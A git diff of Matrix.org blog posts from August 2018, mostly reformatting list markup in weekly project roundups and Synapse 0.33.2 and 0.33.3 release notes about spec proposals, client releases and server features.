    diff --git a/content/blog/2018/08/2018-08-04-this-week-in-matrix-2018-08-03.md b/content/blog/2018/08/2018-08-04-this-week-in-matrix-2018-08-03.md index 760a866ff..50f26338d 100644 --- a/content/blog/2018/08/2018-08-04-this-week-in-matrix-2018-08-03.md +++ b/content/blog/2018/08/2018-08-04-this-week-in-matrix-2018-08-03.md @@ -17,21 +17,21 @@ Progress on the spec has been motoring since MSC1466
    Erik proposes a soft_logout field to be added to the body of 401 responses, to better help handling of encryption keys. Check the proposal notes -
  • MSC1452 agreement has been reached on Homeserver Warning Messages
  • +
  • MSC1466 Erik proposes a soft_logout field to be added to the body of 401 responses, to better help handling of encryption keys. Check the proposal notes
  • +
  • MSC1452 agreement has been reached on Homeserver Warning Messages
  • > We're going with pinned messages (option 2) and room tags (option 5) as that seems to be where the consensus is: it re-uses existing bits of the spec and room tags also help clients that don't know about this specific room tag to handle the room the right way
      -
    • MSC1425 Room Versioning +
    • MSC1425 Room Versioning It's likely that in the immediate future we'll want to change the properties of rooms in a way that will not be compatible with existing servers - for example, changing the rules for event auth or state resolution, or changing the format of an event id.
      -
    • MSC1318 Documentation describing the anticipated Open Governance of Matrix.org (aka, Matrix.org Foundation)
    • +
    • MSC1318 Documentation describing the anticipated Open Governance of Matrix.org (aka, Matrix.org Foundation)
    ## Python SDK -> Python 3 ? @@ -44,9 +44,9 @@ The maintainers of the read all about it here, but I'll give you the headlines now:
      -
    • Replies are now available, there is UX for them and they look great
    • -
    • Jitsi is now the default video conferencing provider across Web, iOS and Android, with new widget integrations for Riot Web
    • -
    • New composer (text box) using Slate.js rather than Draft.js, which fixes many existing bugs and improves performance
    • +
    • Replies are now available, there is UX for them and they look great
    • +
    • Jitsi is now the default video conferencing provider across Web, iOS and Android, with new widget integrations for Riot Web
    • +
    • New composer (text box) using Slate.js rather than Draft.js, which fixes many existing bugs and improves performance
    Meanwhile, Lazy Loading implementation is approaching completion, promising several factors of improved resource utilisation! @@ -58,11 +58,11 @@ Go download nheko and check out the New features just in the last week or so:
      -
    • Mark own read messages with a double checkmark
    • -
    • Add option to specify the scale factor
    • -
    • Add input field to specify the device name on login.
    • -
    • Add option to ignore key requests altogether.
    • -
    • Show device list in user profile & add option to create 1-1 chat.
    • +
    • Mark own read messages with a double checkmark
    • +
    • Add option to specify the scale factor
    • +
    • Add input field to specify the device name on login.
    • +
    • Add option to ignore key requests altogether.
    • +
    • Show device list in user profile & add option to create 1-1 chat.
    Plus lots of improvements and bug fixes. @@ -86,10 +86,10 @@ On the subject of libQMatrixClient, it's exciting that Konversation, the KDE IRC New release of Fractal to 3.29.6. Notes from the changelog:
      -
    • Add German translation
    • -
    • Message right click menu with: view source, reply, copy text and delete
    • -
    • Styles for quotes in messages
    • -
    • Initial sync speed up
    • +
    • Add German translation
    • +
    • Message right click menu with: view source, reply, copy text and delete
    • +
    • Styles for quotes in messages
    • +
    • Initial sync speed up
    ### Neo @@ -101,8 +101,8 @@ Incremental improvements to Neo from ### Riot/Mobile
      -
    • Android: a lot of bug fixes and small UI improvements
    • -
    • iOS: Lazy Loading is coming to life, showing huge improvements in bandwidth usage and performance in the app
    • +
    • Android: a lot of bug fixes and small UI improvements
    • +
    • iOS: Lazy Loading is coming to life, showing huge improvements in bandwidth usage and performance in the app
    ## Updates on IRC bridges from Half-Shot @@ -131,10 +131,10 @@ We also made some internal changes to the appservice-bridge to cache the joined In his regular spot, Ananace has made progress on his Matrix sysadmin/ruby suite: ## Synapse diff --git a/content/blog/2018/08/2018-08-09-synapse-0-33-2-is-here.md b/content/blog/2018/08/2018-08-09-synapse-0-33-2-is-here.md index 1598726cf..82ad2ab38 100644 --- a/content/blog/2018/08/2018-08-09-synapse-0-33-2-is-here.md +++ b/content/blog/2018/08/2018-08-09-synapse-0-33-2-is-here.md @@ -15,7 +15,6 @@ Separately work continues on our python 3 port and we hope to have something con Finally we have some ground work for upcoming room membership lazy loading, there is nothing to see here as yet, but rest assured we will make a lot of noise as soon as it is ready. Stay tuned. -  or any of the sources mentioned at https://github.com/matrix-org/synapse. ### Synapse 0.33.2 (2018-08-09) @@ -27,63 +26,63 @@ No significant changes. #### Features
      -
    • add support for the lazy_loaded_members filter as per MSC1227 (#2970)
    • -
    • add support for the include_redundant_members filter param as per MSC1227 (#3331)
    • -
    • Add metrics to track resource usage by background processes (#3553#3556#3604#3610)
    • -
    • Add code label to synapse_http_server_response_time_seconds prometheus metric (#3554)
    • -
    • Add support for client_reader to handle more APIs (#3555#3597)
    • -
    • make the /context API filter & lazy-load aware as per MSC1227 (#3567)
    • -
    • Add ability to limit number of monthly active users on the server (#3630)
    • -
    • When we fail to join a room over federation, pass the error code back to the client. (#3639)
    • -
    • Add a new /admin/register API for non-interactively creating users. (#3415)
    • +
    • add support for the lazy_loaded_members filter as per MSC1227 (#2970)
    • +
    • add support for the include_redundant_members filter param as per MSC1227 (#3331)
    • +
    • Add metrics to track resource usage by background processes (#3553#3556#3604#3610)
    • +
    • Add code label to synapse_http_server_response_time_seconds prometheus metric (#3554)
    • +
    • Add support for client_reader to handle more APIs (#3555#3597)
    • +
    • make the /context API filter & lazy-load aware as per MSC1227 (#3567)
    • +
    • Add ability to limit number of monthly active users on the server (#3630)
    • +
    • When we fail to join a room over federation, pass the error code back to the client. (#3639)
    • +
    • Add a new /admin/register API for non-interactively creating users. (#3415)
    #### Bugfixes
      -
    • Make /directory/list API return 404 for room not found instead of 400 (#2952)
    • -
    • Default inviter_display_name to mxid for email invites (#3391)
    • -
    • Don't generate TURN credentials if no TURN config options are set (#3514)
    • -
    • Correctly announce deleted devices over federation (#3520)
    • -
    • Catch failures saving metrics captured by Measure, and instead log the faulty metrics information for further analysis. (#3548)
    • -
    • Unicode passwords are now normalised before hashing, preventing the instance where two different devices or browsers might send a different UTF-8 sequence for the password. (#3569)
    • -
    • Fix potential stack overflow and deadlock under heavy load (#3570)
    • -
    • Respond with M_NOT_FOUND when profiles are not found locally or over federation. Fixes #3585 (#3585)
    • -
    • Fix failure to persist events over federation under load (#3601)
    • -
    • Fix updating of cached remote profiles (#3605)
    • -
    • Fix 'tuple index out of range' error (#3607)
    • -
    • Only import secrets when available (fix for py < 3.6) (#3626)
    • +
    • Make /directory/list API return 404 for room not found instead of 400 (#2952)
    • +
    • Default inviter_display_name to mxid for email invites (#3391)
    • +
    • Don't generate TURN credentials if no TURN config options are set (#3514)
    • +
    • Correctly announce deleted devices over federation (#3520)
    • +
    • Catch failures saving metrics captured by Measure, and instead log the faulty metrics information for further analysis. (#3548)
    • +
    • Unicode passwords are now normalised before hashing, preventing the instance where two different devices or browsers might send a different UTF-8 sequence for the password. (#3569)
    • +
    • Fix potential stack overflow and deadlock under heavy load (#3570)
    • +
    • Respond with M_NOT_FOUND when profiles are not found locally or over federation. Fixes #3585 (#3585)
    • +
    • Fix failure to persist events over federation under load (#3601)
    • +
    • Fix updating of cached remote profiles (#3605)
    • +
    • Fix 'tuple index out of range' error (#3607)
    • +
    • Only import secrets when available (fix for py < 3.6) (#3626)
    #### Internal Changes
      -
    • Remove redundant checks on who_forgot_in_room (#3350)
    • -
    • Remove unnecessary event re-signing hacks (#3367)
    • -
    • Rewrite cache list decorator (#3384)
    • -
    • Move v1-only REST APIs into their own module. (#3460)
    • -
    • Replace more instances of Python 2-only iteritems and itervalues uses. (#3562)
    • -
    • Refactor EventContext to accept state during init (#3577)
    • -
    • Improve Dockerfile and docker-compose instructions (#3543)
    • -
    • Release notes are now in the Markdown format. (#3552)
    • -
    • add config for pep8 (#3559)
    • -
    • Merge Linearizer and Limiter (#3571#3572)
    • -
    • Lazily load state on master process when using workers to reduce DB consumption (#3579#3581#3582#3584)
    • -
    • Fixes and optimisations for resolve_state_groups (#3586)
    • -
    • Improve logging for exceptions when handling PDUs (#3587)
    • -
    • Add some measure blocks to persist_events (#3590)
    • -
    • Fix some random logcontext leaks. (#3591#3606)
    • -
    • Speed up calculating state deltas in persist_event loop (#3592)
    • -
    • Attempt to reduce amount of state pulled out of DB during persist_events (#3595)
    • -
    • Fix a documentation typo in on_make_leave_request (#3609)
    • -
    • Make EventStore inherit from EventFederationStore (#3612)
    • -
    • Remove some redundant joins on event_edges.room_id (#3613)
    • -
    • Stop populating events.content (#3614)
    • -
    • Update the /send_leave path registration to use event_id rather than a transaction ID. (#3616)
    • -
    • Refactor FederationHandler to move DB writes into separate functions (#3621)
    • -
    • Remove unused field "pdu_failures" from transactions. (#3628)
    • -
    • rename replication_layer to federation_client (#3634)
    • -
    • Factor out exception handling in federation_client (#3638)
    • -
    • Refactor location of docker build script. (#3644)
    • -
    • Update CONTRIBUTING to mention newsfragments. (#3645)
    • +
    • Remove redundant checks on who_forgot_in_room (#3350)
    • +
    • Remove unnecessary event re-signing hacks (#3367)
    • +
    • Rewrite cache list decorator (#3384)
    • +
    • Move v1-only REST APIs into their own module. (#3460)
    • +
    • Replace more instances of Python 2-only iteritems and itervalues uses. (#3562)
    • +
    • Refactor EventContext to accept state during init (#3577)
    • +
    • Improve Dockerfile and docker-compose instructions (#3543)
    • +
    • Release notes are now in the Markdown format. (#3552)
    • +
    • add config for pep8 (#3559)
    • +
    • Merge Linearizer and Limiter (#3571#3572)
    • +
    • Lazily load state on master process when using workers to reduce DB consumption (#3579#3581#3582#3584)
    • +
    • Fixes and optimisations for resolve_state_groups (#3586)
    • +
    • Improve logging for exceptions when handling PDUs (#3587)
    • +
    • Add some measure blocks to persist_events (#3590)
    • +
    • Fix some random logcontext leaks. (#3591#3606)
    • +
    • Speed up calculating state deltas in persist_event loop (#3592)
    • +
    • Attempt to reduce amount of state pulled out of DB during persist_events (#3595)
    • +
    • Fix a documentation typo in on_make_leave_request (#3609)
    • +
    • Make EventStore inherit from EventFederationStore (#3612)
    • +
    • Remove some redundant joins on event_edges.room_id (#3613)
    • +
    • Stop populating events.content (#3614)
    • +
    • Update the /send_leave path registration to use event_id rather than a transaction ID. (#3616)
    • +
    • Refactor FederationHandler to move DB writes into separate functions (#3621)
    • +
    • Remove unused field "pdu_failures" from transactions. (#3628)
    • +
    • rename replication_layer to federation_client (#3634)
    • +
    • Factor out exception handling in federation_client (#3638)
    • +
    • Refactor location of docker build script. (#3644)
    • +
    • Update CONTRIBUTING to mention newsfragments. (#3645)
    diff --git a/content/blog/2018/08/2018-08-10-this-week-in-matrix-2018-08-10.md b/content/blog/2018/08/2018-08-10-this-week-in-matrix-2018-08-10.md index d244257f9..871320f09 100644 --- a/content/blog/2018/08/2018-08-10-this-week-in-matrix-2018-08-10.md +++ b/content/blog/2018/08/2018-08-10-this-week-in-matrix-2018-08-10.md @@ -19,11 +19,11 @@ As part of an overhaul of the documentation surrounding Matrix, I'm planning to > Seaglass has had many updates, including: >
      ->
    • message coalescing
    • ->
    • room settings (history/join rules and changing aliases/addresses)
    • ->
    • loading member list in rooms
    • ->
    • some starting work on loading avatars
    • ->
    • various UI and stability tweaks!
    • +>
    • message coalescing
    • +>
    • room settings (history/join rules and changing aliases/addresses)
    • +>
    • loading member list in rooms
    • +>
    • some starting work on loading avatars
    • +>
    • various UI and stability tweaks!
    • >
    @@ -50,14 +50,14 @@ Meanwhile on Riot/Web, Lazy Loading members is pretty much complete - just writi ## Spec status
      -
    • MSC1425/MSC1501 richvdh has been thinking about Room Versioning +
    • MSC1425/MSC1501 richvdh has been thinking about Room Versioning
        -
      • A summary in his words: "room upgrades are implemented by creating a new room, shutting down the old one, and linking between the two"
      • +
      • A summary in his words: "room upgrades are implemented by creating a new room, shutting down the old one, and linking between the two"
    • -
    • MSC1497 thorough discussion happening against Matthew's proposal for Capabilities support in the CS API
    • -
    • MSC1442 though you may have seen it previously, I recommend anyone who is able to take a look at Erik's "State Resolution: Reloaded" proposal. This documents his "thoughts on the next iteration of the state resolution algorithm that aims to mitigate currently known attacks". It very clearly explains the current problem, and the proposed solution. While heavy, I found it really useful for helping to understand State Res and everything it affects.
    • -
    • MSC1485 tulir proposes "Hint buttons in messages", which effectively provide pre-defined responses for users. This is especially valuable for Bots which can only accept a certain range of replies. I'd love to see this implemented, having long ago built a "choose your own adventure" engine using similar features from another messaging platform.
    • +
    • MSC1497 thorough discussion happening against Matthew's proposal for Capabilities support in the CS API
    • +
    • MSC1442 though you may have seen it previously, I recommend anyone who is able to take a look at Erik's "State Resolution: Reloaded" proposal. This documents his "thoughts on the next iteration of the state resolution algorithm that aims to mitigate currently known attacks". It very clearly explains the current problem, and the proposed solution. While heavy, I found it really useful for helping to understand State Res and everything it affects.
    • +
    • MSC1485 tulir proposes "Hint buttons in messages", which effectively provide pre-defined responses for users. This is especially valuable for Bots which can only accept a certain range of replies. I'd love to see this implemented, having long ago built a "choose your own adventure" engine using similar features from another messaging platform.
    ## APIs and SDKs diff --git a/content/blog/2018/08/2018-08-17-this-week-in-matrix-2018-08-17.md b/content/blog/2018/08/2018-08-17-this-week-in-matrix-2018-08-17.md index 5410a8145..b0a24942b 100644 --- a/content/blog/2018/08/2018-08-17-this-week-in-matrix-2018-08-17.md +++ b/content/blog/2018/08/2018-08-17-this-week-in-matrix-2018-08-17.md @@ -33,18 +33,18 @@ More news on the redesign to come soon! Features
      -
    • Add option to disable desktop notifications
    • -
    • Allow user to configure join rules for a room
    • -
    • Add tab-completion for usernames
    • +
    • Add option to disable desktop notifications
    • +
    • Allow user to configure join rules for a room
    • +
    • Add tab-completion for usernames
    Improvements
      -
    • Remove the space gap taken by the typing notifications
    • -
    • Remove hover event from emoji picker
    • -
    • Add tooltips for the message indicators
    • -
    • Fix compilation on FreeBSD
    • -
    • Update Polish translation
    • -
    • Small modal improvements
    • +
    • Remove the space gap taken by the typing notifications
    • +
    • Remove hover event from emoji picker
    • +
    • Add tooltips for the message indicators
    • +
    • Fix compilation on FreeBSD
    • +
    • Update Polish translation
    • +
    • Small modal improvements
    ### Seaglass builds being generated @@ -96,11 +96,11 @@ This week, work continued on Lazy Loading room members for Riot Android, and pro ma1uta is continuing to make progress on his Java-focused collection of APIs and SDKs, he's eagerly awaiting the r0 release of the spec (aren't we all!) -> Jeon (https://github.com/ma1uta/jeon) (client2server and application api) has released on the Maven Central Repository with version 0.4.1. The next goal: the stable release of all apis 1.0.0 after the Matrix spec will be released (I hope it will be soon :)) -> Jmsdk (https://github.com/ma1uta/jmsdk) the client and bot SDK have released on the Maven Central Repository. -> Gene (https://github.com/ma1uta/gene) the lightweight api for android has released on Maven Central Repository with 0.2.1 version. +> Jeon () (client2server and application api) has released on the Maven Central Repository with version 0.4.1. The next goal: the stable release of all apis 1.0.0 after the Matrix spec will be released (I hope it will be soon :)) +> Jmsdk () the client and bot SDK have released on the Maven Central Repository. +> Gene () the lightweight api for android has released on Maven Central Repository with 0.2.1 version. > So, everyone can use this libraries without additional settings and additional repositories. -> Matrix-Jabber-Bridge (https://github.com/ma1uta/matrix-jabber-java-bridge) the double-pupped bridge between the Matrix and Jabber. I am still working on it and I think it will be released in a few weeks. +> Matrix-Jabber-Bridge () the double-pupped bridge between the Matrix and Jabber. I am still working on it and I think it will be released in a few weeks. ### Ruby SDK v0.0.3 @@ -116,9 +116,9 @@ This week, work continued on Lazy Loading room members for Riot Android, and pro No release this week, but Synapse has been progressing:
      -
    • Python 3 port continues at pace, we expect to have a beta to test in monolith mode rsn (Hawkowl leads this)
    • -
    • Erik has been working on some federation API refactoring to make matrix.org snappier and hopes to have the new state resolution algo ready to go if not deployed late next week
    • -
    • Richvdh has been looking at performance, as well as spec PRs/ Next week will be r0 work
    • +
    • Python 3 port continues at pace, we expect to have a beta to test in monolith mode rsn (Hawkowl leads this)
    • +
    • Erik has been working on some federation API refactoring to make matrix.org snappier and hopes to have the new state resolution algo ready to go if not deployed late next week
    • +
    • Richvdh has been looking at performance, as well as spec PRs/ Next week will be r0 work
    Many Synapse maintainers are also doing huge lifts on development of the spec. @@ -136,10 +136,10 @@ but in fact, you also send notifications whenever you like by calling ntfy > matrix-docker-ansible-deploy got a lot of improvements lately: >
      ->
    • email-sending support, so that Matrix Synapse can send email notifications (enabled by default)
    • ->
    • mxisd Identity Server support (enabled by default)
    • ->
    • more detailed docs split into various sections (used to be a single README, but with more and more features it was turning into a wall of text)
    • ->
    • started keeping a changelog, especially for backward-incompatible things
    • +>
    • email-sending support, so that Matrix Synapse can send email notifications (enabled by default)
    • +>
    • mxisd Identity Server support (enabled by default)
    • +>
    • more detailed docs split into various sections (used to be a single README, but with more and more features it was turning into a wall of text)
    • +>
    • started keeping a changelog, especially for backward-incompatible things
    • >
    > the playbook can now also set up and configure Maximus's matrix-synapse-rest-auth diff --git a/content/blog/2018/08/2018-08-22-synapse-0-33-3-released.md b/content/blog/2018/08/2018-08-22-synapse-0-33-3-released.md index fb4575b31..cb7dc3fd1 100644 --- a/content/blog/2018/08/2018-08-22-synapse-0-33-3-released.md +++ b/content/blog/2018/08/2018-08-22-synapse-0-33-3-released.md @@ -18,60 +18,60 @@ As always, you can get the new update from @vojeroen! (#3439) -
  • Add /_media/r0/config (#3184)
  • -
  • speed up /members API and add at and membership params as per MSC1227 (#3568)
  • -
  • implement summary block in /sync response as per MSC688 (#3574)
  • -
  • Add lazy-loading support to /messages as per MSC1227 (#3589)
  • -
  • Add ability to limit number of monthly active users on the server (#3633)
  • -
  • Support more federation endpoints on workers (#3653)
  • -
  • Basic support for room versioning (#3654)
  • -
  • Ability to disable client/server Synapse via conf toggle (#3655)
  • -
  • Ability to whitelist specific threepids against monthly active user limiting (#3662)
  • -
  • Add some metrics for the appservice and federation event sending loops (#3664)
  • -
  • Where server is disabled, block ability for locked out users to read new messages (#3670)
  • -
  • set admin uri via config, to be used in error messages where the user should contact the administrator (#3687)
  • -
  • Synapse's presence functionality can now be disabled with the "use_presence" configuration option. (#3694)
  • -
  • For resource limit blocked users, prevent writing into rooms (#3708)
  • +
  • Add support for the SNI extension to federation TLS connections. Thanks to @vojeroen! (#3439)
  • +
  • Add /_media/r0/config (#3184)
  • +
  • speed up /members API and add at and membership params as per MSC1227 (#3568)
  • +
  • implement summary block in /sync response as per MSC688 (#3574)
  • +
  • Add lazy-loading support to /messages as per MSC1227 (#3589)
  • +
  • Add ability to limit number of monthly active users on the server (#3633)
  • +
  • Support more federation endpoints on workers (#3653)
  • +
  • Basic support for room versioning (#3654)
  • +
  • Ability to disable client/server Synapse via conf toggle (#3655)
  • +
  • Ability to whitelist specific threepids against monthly active user limiting (#3662)
  • +
  • Add some metrics for the appservice and federation event sending loops (#3664)
  • +
  • Where server is disabled, block ability for locked out users to read new messages (#3670)
  • +
  • set admin uri via config, to be used in error messages where the user should contact the administrator (#3687)
  • +
  • Synapse's presence functionality can now be disabled with the "use_presence" configuration option. (#3694)
  • +
  • For resource limit blocked users, prevent writing into rooms (#3708)
  • #### Bugfixes
      -
    • Fix occasional glitches in the synapse_event_persisted_position metric (#3658)
    • -
    • Fix bug on deleting 3pid when using identity servers that don't support unbind API (#3661)
    • -
    • Make the tests pass on Twisted < 18.7.0 (#3676)
    • -
    • Don't ship recaptcha_ajax.js, use it directly from Google (#3677)
    • -
    • Fixes test_reap_monthly_active_users so it passes under postgres (#3681)
    • -
    • Fix mau blocking calculation bug on login (#3689)
    • -
    • Fix missing yield in synapse.storage.monthly_active_users.initialise_reserved_users (#3692)
    • -
    • Improve HTTP request logging to include all requests (#3700, #3723)
    • -
    • Avoid timing out requests while we are streaming back the response (#3701)
    • -
    • Support more federation endpoints on workers (#3705, #3713)
    • -
    • Fix "Starting db txn 'get_all_updated_receipts' from sentinel context" warning (#3710)
    • -
    • Fix bug where state_cache cache factor ignored environment variables (#3719)
    • +
    • Fix occasional glitches in the synapse_event_persisted_position metric (#3658)
    • +
    • Fix bug on deleting 3pid when using identity servers that don't support unbind API (#3661)
    • +
    • Make the tests pass on Twisted < 18.7.0 (#3676)
    • +
    • Don't ship recaptcha_ajax.js, use it directly from Google (#3677)
    • +
    • Fixes test_reap_monthly_active_users so it passes under postgres (#3681)
    • +
    • Fix mau blocking calculation bug on login (#3689)
    • +
    • Fix missing yield in synapse.storage.monthly_active_users.initialise_reserved_users (#3692)
    • +
    • Improve HTTP request logging to include all requests (#3700, #3723)
    • +
    • Avoid timing out requests while we are streaming back the response (#3701)
    • +
    • Support more federation endpoints on workers (#3705, #3713)
    • +
    • Fix "Starting db txn 'get_all_updated_receipts' from sentinel context" warning (#3710)
    • +
    • Fix bug where state_cache cache factor ignored environment variables (#3719)
    #### Deprecations and Removals #### Internal Changes
      -
    • The test suite now can run under PostgreSQL. (#3423)
    • -
    • Refactor HTTP replication endpoints to reduce code duplication (#3632)
    • -
    • Tests now correctly execute on Python 3. (#3647)
    • -
    • Sytests can now be run inside a Docker container. (#3660)
    • -
    • Port over enough to Python 3 to allow the sytests to start. (#3668, #3732)
    • -
    • Update docker base image from alpine 3.7 to 3.8. (#3669)
    • -
    • Rename synapse.util.async to synapse.util.async_helpers to mitigate async becoming a keyword on Python 3.7. (#3678)
    • -
    • Synapse's tests are now formatted with the black autoformatter. (#3679)
    • -
    • Implemented a new testing base class to reduce test boilerplate. (#3684)
    • -
    • Rename MAU prometheus metrics (#3690)
    • -
    • add new error type ResourceLimit (#3707)
    • -
    • Logcontexts for replication command handlers (#3709)
    • -
    • Update admin register API documentation to reference a real user ID. (#3712)
    • +
    • The test suite now can run under PostgreSQL. (#3423)
    • +
    • Refactor HTTP replication endpoints to reduce code duplication (#3632)
    • +
    • Tests now correctly execute on Python 3. (#3647)
    • +
    • Sytests can now be run inside a Docker container. (#3660)
    • +
    • Port over enough to Python 3 to allow the sytests to start. (#3668, #3732)
    • +
    • Update docker base image from alpine 3.7 to 3.8. (#3669)
    • +
    • Rename synapse.util.async to synapse.util.async_helpers to mitigate async becoming a keyword on Python 3.7. (#3678)
    • +
    • Synapse's tests are now formatted with the black autoformatter. (#3679)
    • +
    • Implemented a new testing base class to reduce test boilerplate. (#3684)
    • +
    • Rename MAU prometheus metrics (#3690)
    • +
    • add new error type ResourceLimit (#3707)
    • +
    • Logcontexts for replication command handlers (#3709)
    • +
    • Update admin register API documentation to reference a real user ID. (#3712)
    diff --git a/content/blog/2018/08/2018-08-24-this-week-in-matrix-2018-08-24.md b/content/blog/2018/08/2018-08-24-this-week-in-matrix-2018-08-24.md index 7a68be4fb..f255bcbb2 100644 --- a/content/blog/2018/08/2018-08-24-this-week-in-matrix-2018-08-24.md +++ b/content/blog/2018/08/2018-08-24-this-week-in-matrix-2018-08-24.md @@ -11,30 +11,30 @@ category = ["This Week in Matrix"] Big week for Synapse: v0.33.3 was released this week. You'll find preparation for support for Lazy Loading and Room Versioning, lots of bugfixes, and a great contribution from vojeroen: support for sending SNI over federation for vhosted servers. More complete change log here, features below:
      -
    • Add support for the SNI extension to federation TLS connections. Thanks to @vojeroen! (#3439)
    • -
    • Add /_media/r0/config (#3184)
    • -
    • speed up /members API and add at and membership params as per MSC1227 (#3568)
    • -
    • implement summary block in /sync response as per MSC688 (#3574)
    • -
    • Add lazy-loading support to /messages as per MSC1227 (#3589)
    • -
    • Add ability to limit number of monthly active users on the server (#3633)
    • -
    • Support more federation endpoints on workers (#3653)
    • -
    • Basic support for room versioning (#3654)
    • -
    • Ability to disable client/server Synapse via conf toggle (#3655)
    • -
    • Ability to whitelist specific threepids against monthly active user limiting (#3662)
    • -
    • Add some metrics for the appservice and federation event sending loops (#3664)
    • -
    • Where server is disabled, block ability for locked out users to read new messages (#3670)
    • -
    • set admin uri via config, to be used in error messages where the user should contact the administrator (#3687)
    • -
    • Synapse's presence functionality can now be disabled with the "use_presence" configuration option. (#3694)
    • -
    • For resource limit blocked users, prevent writing into rooms (#3708)
    • +
    • Add support for the SNI extension to federation TLS connections. Thanks to @vojeroen! (#3439)
    • +
    • Add /_media/r0/config (#3184)
    • +
    • speed up /members API and add at and membership params as per MSC1227 (#3568)
    • +
    • implement summary block in /sync response as per MSC688 (#3574)
    • +
    • Add lazy-loading support to /messages as per MSC1227 (#3589)
    • +
    • Add ability to limit number of monthly active users on the server (#3633)
    • +
    • Support more federation endpoints on workers (#3653)
    • +
    • Basic support for room versioning (#3654)
    • +
    • Ability to disable client/server Synapse via conf toggle (#3655)
    • +
    • Ability to whitelist specific threepids against monthly active user limiting (#3662)
    • +
    • Add some metrics for the appservice and federation event sending loops (#3664)
    • +
    • Where server is disabled, block ability for locked out users to read new messages (#3670)
    • +
    • set admin uri via config, to be used in error messages where the user should contact the administrator (#3687)
    • +
    • Synapse's presence functionality can now be disabled with the "use_presence" configuration option. (#3694)
    • +
    • For resource limit blocked users, prevent writing into rooms (#3708)
    Ananace has upgraded his K8s-optimized Synapse image to 0.33.3 ## Spec
      -
    • A large chunk of e2e has landed in the spec, largely thanks to Zil0's work. There are still some things left, but the main bits related to sending encrypted messages is in there. Attachments and key sharing are being reviewed today
    • -
    • TravisR progressed on Push, Application Services, and Client-Server APIs.
    • -
    • To follow along with progress, the best place to look is the August 2018 r0 tracker.
    • +
    • A large chunk of e2e has landed in the spec, largely thanks to Zil0's work. There are still some things left, but the main bits related to sending encrypted messages is in there. Attachments and key sharing are being reviewed today
    • +
    • TravisR progressed on Push, Application Services, and Client-Server APIs.
    • +
    • To follow along with progress, the best place to look is the August 2018 r0 tracker.
    ## E2E @@ -77,8 +77,8 @@ Lazy Loading (LL) is available on develop behind the LABS flag, and is being pol New releases are imminent for both Android and iOS:
      -
    • iOS: bug fixes and Lazy Loading in settings
    • -
    • Android: bug fixes, better management of permission requests at startup
    • +
    • iOS: bug fixes and Lazy Loading in settings
    • +
    • Android: bug fixes, better management of permission requests at startup
    ## Shared Secret Auth and Matrix Corporal @@ -134,7 +134,7 @@ Full changelog: 0.4.7 is out now, which increases the length of messages to 4000 characters. -## GSOC is finished! +## GSOC is finished GSOC 2018 has been valuable for everyone involved!
      -
    • Thank you zil0 for all your work on the Matrix Python SDK, E2E and and spec work.
    • -
    • Thank you APWhiteHat: lots of work on dendrite, including a bunch of stuff on federation, as well as typing notifications!
    • -
    • and thank you to Cadair for helping to organising it!
    • +
    • Thank you zil0 for all your work on the Matrix Python SDK, E2E and and spec work.
    • +
    • Thank you APWhiteHat: lots of work on dendrite, including a bunch of stuff on federation, as well as typing notifications!
    • +
    • and thank you to Cadair for helping to organising it!
    ## The Construct using asynchronous disk IO @@ -176,9 +176,9 @@ Jason writes: Some weeks ago I asked for suggestions for content to add to a "Community Guides Index". There was not a wave of feedback, but we have enough collected content to be able to share a first pass of this Index. Check out the content there, and please please contact me if you have articles, videos or anything else you'd like to see included. Of course, if you'd like to produce some content and have it included, that would be great too! Ideas for missing articles:
      -
    • any content in a language other than English
    • -
    • DevOps, how to use k8s or ansible to install Synapse
    • -
    • how to use the Application Services API to make a bot
    • +
    • any content in a language other than English
    • +
    • DevOps, how to use k8s or ansible to install Synapse
    • +
    • how to use the Application Services API to make a bot
    ## OggCamp 2018 @@ -190,11 +190,11 @@ Presentations from Ben and Half-Shot seemed to go down well, we all chatted with ## New Rooms ## So long… diff --git a/content/blog/2018/08/2018-08-31-so-long-half-shot-thanks-for-all-the-bridges.md b/content/blog/2018/08/2018-08-31-so-long-half-shot-thanks-for-all-the-bridges.md index 8f4ba3575..68d26c3ad 100644 --- a/content/blog/2018/08/2018-08-31-so-long-half-shot-thanks-for-all-the-bridges.md +++ b/content/blog/2018/08/2018-08-31-so-long-half-shot-thanks-for-all-the-bridges.md @@ -17,9 +17,9 @@ Tasked with the goal of making it crash less and run faster, I hope that the evi Some stats pulled from the matrix-appservice-irc repo:
      -
    • 39 PRs closed (4 remain open)
    • -
    • 27 issues closed, 27 issues opened.
    • -
    • 334 commits, averaging 7.6 commits a PR.
    • +
    • 39 PRs closed (4 remain open)
    • +
    • 27 issues closed, 27 issues opened.
    • +
    • 334 commits, averaging 7.6 commits a PR.
    Commits this year: @@ -29,13 +29,13 @@ Commits this year: But aside from showing off some stats, I wanted to mention all the new features:
      -
    • Replies on Matrix translate well to IRC, or as well as IRC allows.
    • -
    • People mentioning your IRC nick now ping your matrix user, finally!
    • -
    • So. Many. Metrics. Everything you wanted to know about the internals of the bridge, but were too afraid to --inspect.
    • -
    • Not spamming homeservers with join requests on startup (it makes for a happy ops team).
    • -
    • No longer are IRC users shackled to a "(IRC)" extension on their displayname, you can be who you want +
    • Replies on Matrix translate well to IRC, or as well as IRC allows.
    • +
    • People mentioning your IRC nick now ping your matrix user, finally!
    • +
    • So. Many. Metrics. Everything you wanted to know about the internals of the bridge, but were too afraid to --inspect.
    • +
    • Not spamming homeservers with join requests on startup (it makes for a happy ops team).
    • +
    • No longer are IRC users shackled to a "(IRC)" extension on their displayname, you can be who you want with group flairs!
    • -
    • Support for node 4 has been dropped, and support for 6,8 and 10 has been assured.
    • +
    • Support for node 4 has been dropped, and support for 6,8 and 10 has been assured.
    On the matrix-appservice-bridge side, I optimised some calls to cache locally and avoid hitting the homeserver too often, and disabling presence for homeservers that don't support it. diff --git a/content/blog/2018/09/2018-09-01-this-week-in-matrix-2018-08-31.md b/content/blog/2018/09/2018-09-01-this-week-in-matrix-2018-08-31.md index 600634c41..db4a7a07d 100644 --- a/content/blog/2018/09/2018-09-01-this-week-in-matrix-2018-08-31.md +++ b/content/blog/2018/09/2018-09-01-this-week-in-matrix-2018-08-31.md @@ -25,31 +25,31 @@ It's a big deal, and it's rolling out to IRC networks this week. Nheko 0.5.4 was recently released
      -
    • The settings page now includes the device id & device fingerprint (thanks @valkum )
    • -
    • The Polish translation has been updated (thanks @m4sk1n )
    • +
    • The settings page now includes the device id & device fingerprint (thanks @valkum )
    • +
    • The Polish translation has been updated (thanks @m4sk1n )
    Get the latest builds of Nheko from bintray. @@ -110,55 +110,55 @@ Riot Android v0.8.15 is on it's way to the Play Store. MatrixSdk:
      -
    • Upgrade to version 0.9.9.
    • +
